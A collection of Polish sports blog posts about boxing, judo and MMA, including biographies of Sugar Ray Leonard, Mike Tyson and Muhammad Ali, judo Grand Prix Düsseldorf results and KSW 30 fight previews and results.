Brodnicka.
Wielokrotnie przewijał się wątek walki mistrzyni świata z Ewą Piątkowską, do której ostatecznie nie doszło. Według Brodnickiej pojedynek nie doszedł do skutku, gdyż propozycję konfrontacji odrzucili promotorzy „Tygrysicy”. Sytuacja zrodziła wiele niedomówień i obustronnych zarzutów. Brodnicka dementuje jakoby powodem rezygnacji z pojedynku była jej przyjaźń z Ewą Piątkowską. – Słyszałam, że Pan Wasilewski (Andrzej Wasilewski – przyp. red.) promotor Ewy twierdził na początku, że jesteśmy z Piątkowską koleżankami i dlatego nie chcę walczyć. To jednak nie stało na przeszkodzie, gdyż nie przyjaźnimy się z Ewą od roku. Podchodzę do tego sportu profesjonalnie, jest to mój zawód i konfrontacja z koleżanką nie miałaby znaczenia. Słyszałam również, że w negocjacje były podobno włączone inne postronne osoby, co jest kolejnym mijaniem się z prawdą, gdyż moje wszystkie walki negocjuje wyłącznie mój promotor Mariusz Grabowski – powiedziała interkontynentalna mistrzyni świata WBF.
Teraz priorytetem dla Brodnickiej jest walka z Chamie i zwycięstwo. Potem z pewnością poczyni kolejne kroki na drodze do walki o mistrzostwo świata. 14 marca stanie w Lubinie naprzeciw Chamie. Polce przyjdzie rywalizować z wymagającą przeciwniczką, co może przynieść tylko i wyłącznie pozytywne efekty. – Cieszy mnie fakt, że będę walczyć z dobrze wyszkoloną zawodniczką, która liczę postawi mi wysoko poprzeczkę – powiedziała Brodnicka.
KM
Amerykański bokser urodzony 17 maja 1956 roku w Wilmington, Płn Karolina. W swojej amatorskiej karierze zwyciężył w 145 walkach, przegrał jedynie pięć razy w tym z Kazimierzem Szczerbą w 1974 roku. Był złotym medalistą Igrzysk Panamerykańskich w 1975 roku oraz Igrzysk Olimpijskich w 1976 roku w wadze lekkopółśredniej. Po wygranej w finale Igrzysk Olimpijskich z Kubańczykiem Andresa Aldamę przeszedł na zawodowstwo. W latach 1977- 1997 stoczył 40 zawodowych walk. Wygrał 36 razy. Był czterokrotnie mistrzem świata (dwukrotnie WBC i dwukrotnie WBA) w wadze półśredniej, oraz średniej (WBC 1987), superśredniej (WBC 1988-1990) i półciężkiej (WBC 1988-1989). Jest powszechnie uznawany za jednego z najlepszych pięściarzy wszech czasów. W swojej karierze pokonał wielu utytułowanych pięściarzy takich jak Wilfred Benitez, Thomas Hearns, Roberto Duran i Marvin Hagler. Imiona Ray Charles otrzymał na cześć słynnego muzyka. Przydomek „ Sugar” nawiązuje do innego boksera i wielokrotnego mistrza świata z lat 50. Raya Robinsona. W 1997 roku został wprowadzony do Międzynarodowej Galerii Sław Boksu.
Grand Prix w Duesseldorfie w judo dla Polaków nie jest powodem do chwały – nasi reprezentanci wypadli blado. Biało – czerwoni nie zachwycili, nie zdobyli żadnego medalu. Najlepszy występ zanotowała Daria Pogorzelec, która w kategorii 78 kg zajęła piątą lokatę.
Dla zawodniczki z Gdańska był to pierwszy występ na turnieju międzynarodowym w tym sezonie. Pogorzelec rozpoczęła zawody od dwóch wygranych walk, ale zatrzymała się na Węgierce Abigel Joo. W repasażu reprezentantka Polski zwyciężyła w rywalizacji z Samantą Soares, co dało jej prawo walki o trzecie miejsce. Rywalką Pogorzelec była Japonka Ruiko Sato. Polka nie dała rady zawodniczce z Kraju Kwitnącej Wiśni, która wygrała przez yuko. Daria Pogorzelec zanotowała najlepszy występ spośród wszystkich naszych reprezentantów w Duesseldorfie.
W kategorii 63 kg w eliminacjach odpadła Agata Ozdoba. Pogromczynią reprezentantki Polski okazała się Edwige Gwend, z którą de facto nasza zawodniczka wygrała rywalizację o brązowy medal podczas ubiegłorocznych mistrzostw Europy we Francji. Ozdoba w Duesseldorfie zanotowała jedno zwycięstwo – pokonała Katharinę Haecker. W kategorii 81 kg startowali Łukasz Błach i Jakub Kubieniec. Bez powodzenia. Błach wygrał jedną walkę, ale w pojedynku z Dagvasurenem Nyamsurenem z Mongolii przegrał trzema karami shido. Jakub Kubieniec trafił na trudnego przeciwnika. Był nim Alain Schmitt z Francji, brązowy medalista mistrzostw świata 2013 roku. Polak przegrał przez yuko.
Bez powodzenia startowali również Karolina Pieńkowska, Aleksander Beta oraz Paweł Zagrodnik. Najlepszym wynikiem w Duesseldorfie pozostaje więc piąte miejsce Darii Pogorzelec.
Najważniejszą informacją ostatnich dni jest kwestia przeniesienia mistrzostw Europy z Glasgow do Baku. Taką decyzję podjęła Europejska Unia Judo. Początkowo mistrzostwa Europy miały odbyć się w kwietniu w Glasgow, jednak zostały przeniesione do Baku i włączone w cykl pierwszej edycji Igrzysk Europejskich. Skąd taka decyzja? Winy należy szukać w Brytyjskim Związku Judo, który naruszył pewne standardy. Otóż, BJA zawarto umowę sponsorską z organizacją mieszanych sztuk walki – UFC. EJU uznało, że kontrakt ten nie spełnia wartości judo. Rzecz jasna, że celem UFC była promocja MMA, jednak organizacja zapewniała finansowanie imprezy mistrzowskiej. EJU uznało, że działanie to wykracza poza standardy związane z judo i narusza wartości. Podjęto decyzję o przeniesieniu mistrzostw Europy do Baku. Tym samym czempionat Starego Kontynentu zmienił datę z kwietniowej na czerwcową (turniej odbędzie się w dniach 25 – 28 czerwca).
W związku z zaistniałą sytuację EJU postanowiło wykorzystać fakt, że w tym roku będą miały miejsce pierwsze Igrzyska Europejskie. Trudno byłoby znaleźć nowego organizatora, który podjąłby się próby zaplanowania imprezy na niespełna dwa miesiące przed jej startem. Jednak EJU odkryło furtkę i sytuacja znalazła szczęśliwie rozwiązanie. Mistrzostwa Europy w Baku, a nie w Glasgow.
KM
Amerykański bokser urodzony 30 czerwca 1966 roku w Nowym Jorku. Były mistrz świata wagi ciężkiej. Najmłodszy mistrz świata wagi ciężkiej w historii. Gdy zdobył tytuł miał 20 lat cztery miesiące i 22 dni. W 1986 roku został mistrzem świata federacji WBC, rok później posiadał tytuły mistrzowskie wszystkich federacji. Mike swoje pierwsze 19 pojedynków zwyciężył przez nokaut, z czego 12 w pierwszej rundzie. W 1990 roku przegrał przez nokaut w 10 rundzie z Jamesem „Busterem” Douglasem. W 1992 roku został oskarżony o gwałt na Desiree Washington i skazany na 3 lata więzienia. Na wolność wyszedł w 1995 roku. Powrócił na ring i odzyskał część swoich pasów wagi ciężkiej. W 1996 stracił swoje pasy w walce z Evanderem Holyfieldem. Do rewanżu między tymi zawodnikami doszło w 1997 roku. Walka rewanżowa zakończyła się dyskwalifikacją Tysona za odgryzienie części ucha. Po tym incydencie udało mu się jednak wrócić na ring. W 2000 roku Tyson walczył z Andrzejem Gołotą. Komisja bokserska uznała walkę za nieodbytą, ponieważ w organizmie Tysona wykryto marihuane. W 2002 roku ponownie walczył o mistrzostwo, przegrywając przez nokaut z Lennoxem Lewisem. Karierę bokserską Tyson zakończył w 2005 roku po dwóch przegranych przez nokaut z Dannym Williamsem oraz Kevinem McBridem. Mike doświadczył bankructwa w 2003 roku, mimo otrzymania 30 milionów dolarów za kilka walk oraz 300 milionów dolarów w ciągu swojej kariery. Największe osiągnięcia Mike’a Tysona to:
Tytuły:
Rekordy:
Nagrody:
W 2011 roku został wprowadzony do Międzynarodowej Galerii Sław Boksu. W 2012 roku podczas WrestleManii 28 został wprowadzony do WWE Hall of Fame.
Urodzony jako Cassius Clay Jr. urodzony 17 stycznia 1942 roku w Lousiville zmarł 3 czerwca 2016 roku w Scottsdale. Amerykański bokser. Cassius Clay wychował się wraz z młodszym bratem Rudoplhem, w rodzinie malarza bilboardów Cassiusa Claya Seniora. Pierwszy kontakt z boksem Cassius zawdzięcza policjantowi z Lousiville Joe Martinowi, który skierował go na salę bokserską w wieku 12 lat. Pierwszym trenerem Claya był miejscowy trener Fred Stoner. Pod okiem Stonera Cassius zdobył sześć tytułów Złotych Rękawic Kentucky, dwa tytułu Złotych Rękawic na szczeblu krajowym, tytuł mistrza krajowego, a w końcu w wieku 18 lat złoty medal na Letnich Igrzyskach Olimpijskich w Rzymie w 1960 roku w kategorii półciężkiej. W finale podczas olimpiady Cassius pokonał polskiego zawodnika Zbigniewa Pietrzykowskiego. Bilans walka amatorskich Claya to 100 wygranych i 5 porażek. Zaraz po zdobyciu tytułu olimpijskiego Cassius przeszedł na zawodowstwo. W swoim pierwszym pojedynku stoczonym 29 października 1960 roku z Tunneyem Hunsakerem, odniósł pierwsze zwycięstwo na punkty. W latach 1960 – 1963 stoczył w sumie 19 walk, wygrywając wszystkie. W tym czasie poznał swojego późniejszego trenera Angelo Dundeego. Pierwszy tytuł mistrza świata zdobył jako 22 latek w 1964 roku pokonując ówczesnego mistrza Sonny’ego Listona. Po tej walce Cassius oficjalnie przystąpił do Nation of Islam, radykalnej organizacji czarnoskórych Amerykanów , wyznających Islam prowadzonych przez Malcolma X i Ellijaha Muhammada. Zrezygnował z nazwiska Cassius Clay, początkowo nazywał się Cassius X. Po tym jak Ellijaha Muhammad przezwał go „ Ali”, przyjął nazwisko Muhammad Ali. W rewanżu rozegranym w maju 1965 roku, Liston ponownie przegrał z Alim. Tym razem został znokautowany w połowie pierwszej rundy. Przez następne dwa lata Ali z powodzeniem bronił tytułu w walkach z min. Floydem Pattersonem, Karlem Mildenbergerem, George’em Chuvalo, Henrym Cooperem, Brianem Londonem, Clevelandem Williamsem, Erniem Terrellem i Zorą Folleyem. W 1967 roku został skazany na karę więzienia w zawieszeniu za odmowę służby wojskowej i wyjazdu na wojnę do Wietnamu. Skutkiem wyroku było odebranie paszportu, tytułu mistrza świata boksu oraz licencji profesjonalnego boksera. Przez trzy lata Ali nie mógł walczyć ani opuszczać terytorium Stanów Zjednoczonych. Jako bokser mógł stoczyć jedynie zainscenizowaną dla kamer walkę przeciwko byłemu wielkiemu mistrzowi Rocky’emu Marciano. W końcu po procesie apelacyjnym, wyrok został uchylony. W 1970 roku gubernator stanu Georgia wydał zezwolenie na udział Alego w walce. 26 października w Atlancie Ali powrócił na ring, wygrywając z Jerrym Quarrym. Tego roku Muhammad walczył jeszcze z Oscarem Bonaveną, z którym wygrał przez nokaut w 15 rundzie. 8 marca 1971 roku Ali spotkał się z Joe Frazierem legitymującym się bilansem 26-0. Walka w Madison Square Garden pomiędzy dwoma niepokonanymi bokserami została nazwana „ Pojedynkiem Stulecia”. W finałowej 15 rundzie, dzięki przewadze na punkty i jednogłośnej decyzji sędziowskiej zwycięstwo odniósł Joe Frazier, przerywając passę 31 kolejnych zwycięstw. Po następnych 10 wygranych w latach 1971-1973, Ali spotkał się z Kenem Nortonem, który doprowadził do drugiej porażki Alego, łamiąc mu szczękę. Pół roku później Ali zrewanżował się Nortonowi pokonując go na punkty. Po zwycięstwie nad kolejnym pretendentem, Joe Frazierem w styczniu 1974 roku, mógł zmierzyć się z aktualnym mistrzem świata Wszechwag, George’em Foremanem i walczyć o odzyskanie tytułu. Ali przyjął w tym pojedynku niezwykła taktykę. Wiedząc ze Foreman zwykle wygrywał przez nokaut w pierwszych rundach, przez pierwsze siedem odsłon walczył w defensywie, przyjmując wszystko na gardę. W ósmej rundzie Foreman był niezwykle zmęczony, wtedy zupełnie nieoczekiwanie Ali błyskawicznie zaatakował i znokautował rywala. Po walce obaj pięściarze zaprzyjaźnili się. 1 października 1975 roku Don King z pompą zorganizował kolejny pojedynek Alego. Jego kolejnym rywalem był Joe Frazier. Muhammad wygrał po 14 rundzie. Po trzech walkach rozegranych w 1976 roku, Ali wystąpił w pojedynku wrestlerskim z mistrzem tej sztuki Antonio Inokim. Po 15 rundach pojedynek zakończył się remisem, ale Ali odniósł poważne obrażenia nóg. Potem stoczył jeszcze trzy wygrane pojedynki. W lutym 1978 roku stracił tytuł na rzecz mistrza olimpijskiego z Montrealu Leona Spinksa. Tytuł odzyskał pół roku poźniej, rewanżując się Spinksowi, ale było to już ostatnie jego zwycięstwo. Ogłosił przejscie na emeryturę 27 czerwca 1979 roku, ale wrócił w 1980 roku, chcąc odzyskać tytuł. Walczył z Larrym Holmesem. Niestety nie dotrwał do końca pojedynku, jego trener Dundee poddał go po 10 rundach. Także ostatnia walka Alego, 11 grudnia 1981 roku z Trevorem Berbickiem zakończyła się porażką. W 1984 roku zdiagnozowano u niego Parkinsonizm.
Nie zabrakło efektownych wymian, zaskakujących zwrotów akcji i emocji. Gala KSW 30 w Poznaniu pokazała, że niezwykle gorąco będzie w wadze półśredniej, gdzie rywalizacja zapowiada się interesującco. Z dobrej strony pokazały się zagraniczne gwiazdy, które należy uznać za wartość dodaną kolejnej odsłony KSW.
Zaczynając od pojedynku pań, dostarczył on wielu emocji i wrażeń. Jeśli ktoś sądzi, że żeńskie MMA jest nudne warto, aby jeszcze raz obejrzał walkę Karoliny Kowalkiewicz z Kalindrą Farią. Brazylijka była niezwykle wymagającą rywalką dla Polki. Pojedynek niezwykle dynamiczny, obfitujący w dużą ilość ciosów. Pierwsza runda dla Brazylijki, która biła mocno i zdecydowanie, a pod koniec rundy zdobyła obalenie. Kowalkiewicz w kolejnych odsłonach wykorzystała swoją szybkość. Dobra praca na nogach oraz serie ciosów rozbiły nos Farii. Sędziowie punktowali na korzyść Polki, która wygrała w stosunku 2:1. Faria zapowiedziała, że chciałby spotkać się z Kowalkiewicz jeszcze raz.
Zachwycił Kleber Koike Erbst. Mimo, że jego boks był dość enigmatyczny i trudny do określenia. Japończyk nisko trzymał gardę, ale celnie trafiał Azhieva. Na dodatek stosował dużą ilość kopnięć frontalnych. Azhiev był bezradny, chociaż starał się znaleźć sposób na rywala. Kleber zakończył walkę duszeniem trójkątnym. Doświadczenie Japończyka wzięło górę, a umiejętności w parterze robią duże wrażenie. Oby nie skończyło się tylko na jednym występie Koike w Polsce.
Nadal niepokonany jest Mateusz Gaamrot. Popularny „Gamer” stanął przed trudnym wyzwaniem. Rodrigo Cavalhiero to rywal doświadczony, z określonym potencjałem umiejętności i obyty na światowych arenach. Początek walki służył obu zawodnikom do rozpoznania, czynili tylko i wyłącznie badawcze kroki. Gamrot ruszył na rywala, ale Cavalheiro nie dał się zdominować. Walka w większości toczyła się w stójce. W trzeciej rundzie Polak doprowadził do obalenia i jego ciosy na ziemi zrobiły wrażenie na rywalu. „Gamer” zarzucił Cavalheiro serią uderzeń i sędzia zmuszony był przerwać walkę na sześć sekund przed końcem.
Co można powiedzieć o walce Saidov – Moks? Aslambek podszedł do pojedynku niemal jak rasowy mistrz, który rozłożył swojego rywala na cząsteczki i przewidział każdy jego ruch. Jedynie w pierwszej rundzie Moks próbował swoich skrętówek i sprowadzenia przeciwnika do parteru. Z każdą kolejną minutą Saidov zwiększał swoją przewagę. Stosował kopnięcia, zarzucał rywala ciosami i nie dał możliwości „Kulturyście” walki w parterze. Jeśli już Moks sprowadził rywalizację do parteru to Saidov za chwilę wstawał. Nie dał przeciwnikowi możliwości wykorzystania swoich największych atutów. Pojedynek na linii trzech rund nie wyłonił zwycięzcy, ale sędziowie nie mili wątpliwości – trzy raz punktowali 30-27 na korzyść Saidova.
Walka wieczoru w wykonaniu Borysa Mańkowskiego i Mohsena Bahariego daleka była od ideału. Trzeba przyznać, że Norweg pokazał się z dobrej strony, choć o pojedynku dowiedział się w ostatniej chwili. „Diabeł Tasmański” przeważał w stójce, zaliczył kilka obaleń. W połowie drugiej rundy Mańkowski osłabł. Wyższy Bahari starał się celnie trafić Polaka, jednak ta sztuka nie powiodła się. Sędziowie punktowali na korzyść Mańkowskiego.
Klincz był płaszczyzną walki Michała Włodarka i Szymona Bajora. Panowie walczyli taktycznie, co nie ziściło marzeń publiczności o szybkim i efektownym nokaucie. Na punkty wygrał Włodarek. Jakub Kowalkiewicz czekał tylko na okazję sprowadzenia walki na ziemię. W końcu plany fightera z Warszawy ziściły się i Rajewski musiał odklepać. Po trzech rundach ogłoszono remis w starciu Kamila Gniadka z Mateuszem Zawadzkim.
Gala KSW 30 „Genesis” była ciekawym widowiskiem. Przekonaliśmy się, że w kategorii półśredniej czekają nas jeszcze wielkie emocje. Niezwykle interesujące starcie Kowalkiewicz i Farii pokazało, że kobiece MMA musi być obecne w karcie walk. Zachwycił Kleber, konsekwentnie swoją pozycję buduje Gamrot. A do rywalizacji wrócił profesor Saidov. Szkoda tylko, że Mańkowski nie spełnił oczekiwań. Wiadomo, że na kolejnej gali KSW dojdzie do starcia Michała Materli z Tomaszem Drwalem.
Walka wieczoru: 80 kg: Borys Mańkowski pokonał przez decyzję sędziów Mohsena Bahariego
Karta główna:
77 kg: Aslambek Saidow pokonał decyzją sędziów Rafała Moksa
52 kg: Karolina Kowalkiewicz pokonała niejednogłośną decyzją sędziów Kalindrę Farię
70 kg: Mateusz Gamrot pokonał przez TKO Rodrigo Cavalhiero
66 kg: Kleber Koike Erbst pokonał przez poddanie Anzora Ażhieva
120 kg: Michał Włodarek pokonał decyzją sędziów Szymona Bajora
70 kg: Jakub Kowalewicz pokonał przez poddanie Łukasza Rajewskiego
Karta wstępna:
72 kg: Kamil Gniadek – Mateusz Zawadzki – sędziowie ogłosili remis
KM
Turniej Grand Prix w Duesseldorfie nie rozpoczął się dla biało – czerwonych najlepiej. Troje naszych reprezentantów przegrało swoje pierwsze walki.
Karolina Pieńkowska, Aleksander Beta oraz Paweł Zagrodnik pożegnali się z rywalizacją. Turniej w Duesseldorfie dopiero wystartował i w kolejnych dniach w akcji zobaczymy resztę naszych reprezentantów.
Pieńkowska w kategorii wagowej 52 kg trafiła na Misato Nakamurę. Rywalka z najwyższej półki, Polka stanęła przed ogromnym wyzwaniem, które okazało się przeszkodą nie do przejścia. Japonka to brązowa medalistka Igrzysk Olimpijskich z Pekinu oraz dwukrotna mistrzyni świata w judo z 2009 i 2011 roku. Nakamura wygrała pewnie przez ippon. Pieńkowska nie może występu w Duesseldorfie zaliczyć do udanych, choć szczerze mówiąc trafiła na rywalkę z najwyższej półki. Reprezentantka Polski w judo zanotowała kolejny występ poniżej oczekiwań. W ostatnim Pucharze Świata w Oberwart również opadła w pierwszym dniu eliminacji. Choć jeszcze raz warto podkreślić, że w Niemczech Pieńkowska trafiła na Nakamurę, czyli zawodniczkę niezwykle utytułowaną i wymagającą. Być może kolejny start będzie lepszy w wykonaniu Polki. Podczas turnieju Belgian Ladies Open nasza zawodniczka zajęła trzecią pozycję, więc pozostaje głęboko wierzyć, że Pieńkowska wróci na właściwe tory.
W rywalizacji mężczyzn w kategorii 66 kg nie powiodło się Aleksandrowi Becie oraz Pawłowi Zagrodnikowi. Zawodnik z Łodzi dość pechowo przegrał swoją walkę. Beta uległ reprezentantowi Turcji Sinanowi Sandalowi jedną karą shido. Szczęścia zabrakło również Pawłowi Zagrodnikowi. Piąty zawodnik Igrzysk Olimpijskich w Londynie przegrał z reprezentantem Korei Południowej – An Ba-ulem. Obaj panowie mogą już rozpocząć przygotowania do startu w Pucharze Świata, który za tydzień odbędzie się na warszawskim Torwarze.
Wracając do wydarzeń z Duesseldorfu, pierwszy dzień zmagań bez sukcesów. Nasi reprezentanci mieli pecha (Beta) albo trafiali na bardzo wymagających przeciwników (Pieńkowska). W sobotę na tatami zobaczymy Łukasz Błacha oraz Jakuba Kubieńca w kategorii 81 kg. Ponadto, w Niemczech wystartuje Agata Ozdoba, która miała bardzo udany poprzedni sezon. Bardzo dobry występ na mistrzostwach Europy we Francji, skąd Polka przywiozła brązowy medal. Dodatkowo Ozdoba wywalczyła brązowy medal drużynowo podczas mistrzostw świata w Czelabińsku. Z kolei w niedzielę na arenie pojawi się Daria Pogorzelec. Zawodniczka z Gdańska w poprzednim sezonie notowała bardzo dobre starty. Teraz po raz pierwszy pojawi się na międzynarodowych zawodach. Warto dodać, że Grand Prix w Duesseldorfie jest zaliczane do kwalifikacji olimpijskich Rio 2016.
Pierwszy dzień w wykonaniu naszych reprezentantów w judo dość niemrawy. Liczymy, że na koniec będziemy mieli powody do radości. Tydzień temu w Oberwart Agata Perenc wywalczyła brąz. Cenne jest, iż stało się regułą, że niemalże z każdych zawodów Polacy przywożą medal. Niech ten trend zostanie podtrzymany podczas Grand Prix w Duesseldorfie.
KM
Borys Mańkowski będzie główną gwiazdą KSW 30 „Genesis”. 25-latek początkowo miał mierzyć się z Michaiłem Tsarevem, jednak walka nie dojdzie do skutku.
Powodem takiego obrotu sprawy jest niedopuszczenie przez lekarzy Rosjanina do walki. Tsarev przybył do Polski, jednak z powodu wysokiej gorączki jego występ jest niemożliwy. Federacja KSW stanęła niemalże pod ścianą, ale udało się znaleźć rywala dla Mańkowskiego. W walce wieczoru „Diabeł Tasmański” zmierzy się z Mohsenem Baharim.
Niedawno Norweg był pretendentem do pasa Cage Warriors. Bahari przegrał pojedynek przez decyzję sędziów, jego pogromcą okazał się Nicolas Dalby. Zatem do Poznania Norweg przyjedzie poprawić swój bilans. Warto zaznaczyć, że Bahari w swojej karierze rywalizował już z polskim fighterem. W 2012 roku podczas CWFC – Fight Night 7 zmierzył się z Piotrem Ptasińskim i wygrał decyzją sędziów. O Norwegu mówi się, że jest nieustępliwy i w klatce niezwykle agresywny. W związku z faktem, że Bahari został zakontraktowany w ostatniej chwili limit walki wieczoru na KSW 30 ustalono na 80 kg. Przez tak krótki okres czasu niemożliwe jest wręcz, aby fighter zszedł do wagi 77 kg. W związku z tym stawką pojedynku nie będzie mistrzowski pas Mańkowskiego.
Dla „Diabła Tasmańskiego” to trudna sytuacja. W takich momentach upada plan zawodnika, który miał rozpracowanego rywala. Tak było z Tsarevem – Mańkowski z pewnością zdążył obejrzeć materiały z walk Rosjanina, poznać jego mocne i słabe strony. Na analizę możliwości Bahariego Polak ma niecałe dwa dni. Z pewnością istotny jest fakt, że Mańkowski skoncentrowany był na przygotowaniach do występu i w związku z tym jego kondycja oraz motoryka są na odpowiednim poziomie. Inaczej sytuacja wygląda u Norwega, który przyjął propozycję w ostatniej chwili. Przez dwa dni nie będzie w stanie nadrobić braków. Inaczej wygląda trening pod kątem przygotowań do walki, czymś zupełnie innym jest dbanie o formę. Można powiedzieć, że w pewnym sensie Bahari „idzie na żywioł”. Takie walki mają swój urok, gdyż na bok schodzi kwestia asekuracji. Taktyczne przygotowanie do pojedynku, w takim przypadku, jest dalekie od ideału i fighterzy postępują trochę instynktownie.
Ciężar pojedynku Mańkowskiego miał być zupełnie inny – walka w obronie pasa KSW. Stało się tak, a nie inaczej i ten stan rzeczy należy zaakceptować. Mańkowski imponuje i publiczność chce zobaczyć go w akcji. Wszyscy czekają na pojedynek wieczoru, w którym Polak stanie naprzeciw Norwega irańskiego pochodzenia. Mańkowski wygrał ostatnie trzy pojedynki na KSW i stał się gwiazdą federacji. Najmłodszy mistrz KSW, który zachwyca i pnie się na szczyt. W swojej ostatniej walce w osiemdziesiąt sekund uporał się z Davidem Zawadą. Teraz stanie przed Baharim, aby odnieść kolejne zwycięstwo. Pojedynek zmontowany naprędce, który będzie walką wieczoru. Szkoda Tsareva, jednak zdrowie jest najważniejsze. Ciężar pojedynku z Baharim będzie zupełnie inny, choć to też wymagający rywal. Mańkowski – Bahari głównym daniem KSW 30.
KM
W Poznaniu odbędzie się trzydziesta gala Konfrontacji Sztuk Walki. 21 lutego będzie miało miejsce niezwykłe sportowe wydarzenie. Ciekawe walki, które mogą dostarczyć wiele emocji i wrażeń.
Długo na nazwisko swojego rywala musiał czekać Anzor Azhiev. Wschodząca gwiazda KSW podczas poznańskiej gali zmierzy się z Kleberem Koike Erbstem. Japończyk będzie wyzwaniem dla Azhieva, gdyż ostatnią porażkę poniósł w 2009 roku. Kleber w swojej karierze wygrał piętnaście walk, z czego czternaście rozstrzygnął przed czasem. Azhiev musi być ostrożny i uważny, aby nie paść ofiarą Japończyka. Zawodnik z Groznego na KSW 28 w rywalizacji z Helsonem Henriquesem pokazał charakter, wolę walki i ogromne umiejętności. Wygrana Azhieva zrobiła kolosalne wrażenie na widzach. Czy Anzor będzie w stanie powtórzyć swój wyczyn? Przyjdzie mu rywalizować z trudnym rywalem. W klatce będzie się działo.
Przed trudnym zadaniem stanie Karolina Kowalkiewicz, która zmierzy się z Kalindrą Farią. Brazylijka jest klasyfikowana jako dziewiąta zawodniczka na świecie w kategorii słomkowej. W swojej karierze wygrała piętnaście pojedynków, zanotowała pięć porażek. Faria jest zawodniczką doświadczoną, wszechstronną i gotową podjąć trudne wyzwanie. Dla Karoliny Kowalkiewicz będzie to wymagający pojedynek, jednak mistrzyni KSW pokazała, że robi ustawiczne postępy. Zwycięstwo podczas gali Invicta FC z Mizouke Inoue pokazał, iż Polka obrała kurs na szczyt. W KSW ma niepodważalną pozycję, więc de facto Faria musi się obawiać. Kowalkiewicz walczy u siebie, gdzie jest gwiazdą.
Niezwykle interesująco zapowiada się starcie Rafała Moksa z Aslambekiem Saidovem. Dla Kulturysty będzie to szczególnie istotna walka. Obaj panowie mieli już przyjemność stanąć naprzeciw siebie, a miało to miejsce podczas KSW 17. Moks przegrał niejednogłośną decyzją sędziów i teraz liczy na rewanż. Kulturysta ostatnimi czasy zachwyca wszystkich swoją efektywnością w ringu. Wygrał ostatnie trzy walki na KSW punktując kolejno: Marcina Naruszczkę, Luiza Cado Simona i Daniela Acacio. Wszystkie pojedynki kończył stosując gilotynę. Niezwykle gibki oraz sprytny Moks chce zrewanżować się za porażkę i unieść ręce w glorii chwały po rywalizacji z Saidovem. Zawodnik z Olsztyna wraca do klatki po problemach osobistych. Ostatnio zaprezentował się publiczności podczas KSW 27 w maju 2014 roku, kiedy przegrał z Borysem Mańkowskim. Na galach najlepszej polskiej organizacji zanotował do tej pory dwie porażki, czy Moks sprawi, że Saidov poniesie kolejną klęskę?
Kolejną walkę dla KSW stoczy Mateusz Gamrot, który nie zaznał jeszcze goryczy porażki. Tym razem przyjdzie mu walczyć z doświadczonym Rodrigo Cavalheiro Correirą. O pierwszą wygraną na gali KSW powalczy Łukasz Rajewski. Podczas KSW 27 zawodnik Ankosu Poznań przegrał z Łukaszem Chlewickim. Teraz Rajewski stanie naprzeciw Jakuba Kowalewicza, który podczas KSW 28 wygrał z Kamilem Gniadkiem. W kategorii 120 kg dojdzie do starcia Szymona Bajora z Michałem Włodarkiem. W karcie wstępnej zaplanowano jedną walkę – Kamila Gniadka z Mateuszem Zawadzkim.
Główną atrakcją wieczoru będzie pojedynek o pas mistrzowski KSW w kategorii półśredniej pomiędzy Borysem Mańkowskim, a Michaiłem Tsarevem. Gala KSW 30 odbędzie się 21 lutego w Poznaniu, start o godzinie 19:00.
KM
Łukasz Janik w kwietniu stanie przed szansą zdobycia mistrzowskiego pasa federacji WBA w wadze cruiser. Rywalem Polaka będzie Rosjanin Denis Lebiediew.
Do walki pozostaje coraz mniej czasu i należy poważnie zastanowić się nad szansami Polaka. Janik stanie przed życiową szansą. Propozycji walki o mistrzostwo świata się nie odmawia i zgodnie z tym bokser z Jeleniej Góry w kwietniu zmierzy się w ringu z Lebiediewem. Do tej pory Janik zanotował w swojej karierze dwadzieścia osiem zwycięstw i dwie porażki. W 2011 roku w drugiej rundzie pokonał Cristiana Dolzanelliego i wywalczył pas WBC Baltic Silver. Janik miał szansę wywalczyć wakujący tytuł mistrza świata federacji IBO. W listopadzie 2013 roku o pas zmierzył się z Olą Afolabim. Janik przegrał decyzją sędziów, którzy punktowali dwa do remisu – 114:114, 111:117 i 113:115. Dla Polaka była to druga porażka w zawodowej karierze, pierwszej doznał w starciu z Mateuszem Masternakiem. Janik to solidny pięściarz, który swoją przygodę z boksem zaczynał w grupie Wilfireda Sauerlanda. W większości swoje pojedynki toczył w Polsce, kilka miało miejsce w Niemczech. Ponadto, Janik walczył w Rosji, Szwajcarii czy Kanadzie. Solidność pozwoliła mu osiągnąć poziom, który sprawił, że otrzymał propozycję walki o mistrzostwo świata.
Janik stanie w ringu z Denisem Lebiediewem. Rosjanin to mocny bokser, który większość swoich walk kończył przez nokaut. Tytuł zdobył w 2012 roku, na chwilę stracił pas w pojedynku z Guillermo Jonesem, ale okazało się, że Panamczyk stosował zakazane środki. W swojej karierze Lebiediew pokonał Jamesa Toneya, Roya Jonesa Jr czy Aleksandra Aleksiejewa. Do tej pory świat boksu wraca do rywalizacji Rosjanina z Marco Huckiem o mistrzostwo świata WBO. Niemiec wygrał niejednogłośnie na punkty, co pobudziło dyskusję na płaszczyźnie zasadności werdyktu. Wielu ekspertów miało wątpliwości, czy Huck zasłużył na zwycięstwo. Lebiediew w ciągu kariery ugruntował swoją pozycję na światowych listach, stał się jednym z czołowych bokserów wagi junior ciężkiej.
Łukasz Janik staje przed niezwykle trudnym zadaniem. We wrześniu szansę odebrania tytułu Rosjaninowi miał Paweł Kołodziej, jednak jego starania spełzły na niczym. Polak został znokautowany w drugiej rundzie. Czy Janik wytrzyma dłużej od pięściarza z Krynicy? Walczący na swoim terenie Lebiediewem jest niczym lew, który strzeże swojego terytorium i nikomu nie pozwoli na zajęcia skrawka obszaru. Janik dostał szansę i postara się ją wykorzystać. Z tym, że musi być przygotowany na trudne warunki – potężne ciosy, pewny siebie rywal i specyfika rosyjskich gal. Nie licząc pojedynku z Jonesem – Lebiediew pozostaje niepokonany od 2011 roku.
Okazuje się, że wszystkie dywagacje i analizy mogą być nieważne. Dlaczego? Do walki Janika z Lebiediewem może nie dojść. Negocjacje między stronami na temat organizacji pojedynku trwały długo i osiągnięto kompromis. Walka miała czy też nadal ma się odbyć 4 kwietnia. Pojawiły się komplikacje, które stawiają podstawowe pytanie: czy dojdzie do tego pojedynku? Otóż, w sprawę wmieszali się prawnicy Youriego Kalengi, którzy twierdzą, że walka Janika z Lebiediewem nie może się odbyć. Do władz federacji WBA wystosowano w tej kwestii list. Wedle prawników Janik nie spełnia warunków, które dawałyby mu prawo walki o mistrzowski pas. Teraz ruch po stronie WBA. Federacja musi odnieść się do zarzutów ze strony obozu Kalengi i zadecydować, czy Janik 4 kwietnia stanie naprzeciw Lebiediewa.
KM
